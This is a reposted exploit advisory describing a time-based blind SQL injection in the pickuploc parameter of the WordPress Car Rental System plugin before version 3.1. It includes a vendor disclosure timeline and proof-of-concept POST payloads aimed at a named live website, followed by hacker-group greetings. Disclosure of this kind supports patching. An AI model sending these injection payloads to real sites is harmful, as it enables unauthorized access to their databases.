WordPress Car Rental System SQL Injection

Posted on Posted in Exploit

WordPress Car Rental System plugin versions prior to 3.1 suffer from a remote SQL injection vulnerability.

##################################################################################################
#Exploit Title : Car Rental System (Native WordPress Plugin) SQL Injection vulnerability < version3.1
#Author        : Manish Kishan Tanwar AKA error1046
#Vendor Link   : http://codecanyon.net/item/car-rental-system-native-wordpress-plugin/11758680
# Affected Version: below version 3.1
#Date          : 12/07/2015
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Discovered At : Indishell Lab
##################################################################################################

////////////////////////
/// Overview:
////////////////////////

Car Rental System wordpress plugin is a plugin which provide to book car on a specific date with specific location.
There was post parameters(pickuploc and dropoff) which was not checking user supplied data properly before passing it to SQL Query
and hence plugin was allowing Time based blind SQL Injection attack.

Reported to vendor:-
June 18, 2015
Vendor replied:-
June 19,2015

Vendor released a patch:-
june 21,2015(version 3.1)

 

////////////////
///  POC   ////
///////////////

Payload with true SQL Query 
http://cars.matuliauskas.com/en/

POST data
crs_came_from_step1=yes&transport_type=car&car_type=0&car_transmission=0&pickuploc=2 and 2=2--&pickup=2015-07-22&pickUpTime=09%3A00%3A00&dropoffloc=3&dropoff=2015-08-20&dropoffTime=09%3A00%3A00&btn_room_search=Search%2BAll%2BCars

Payload with false SQL Query
http://cars.matuliauskas.com/en/

POST data
crs_came_from_step1=yes&transport_type=car&car_type=0&car_transmission=0&pickuploc=2 and 2=5--&pickup=2015-07-22&pickUpTime=09%3A00%3A00&dropoffloc=3&dropoff=2015-08-20&dropoffTime=09%3A00%3A00&btn_room_search=Search%2BAll%2BCars


                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, 
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3

Quelle: Pachet storm Security

Facebooktwittergoogle_plus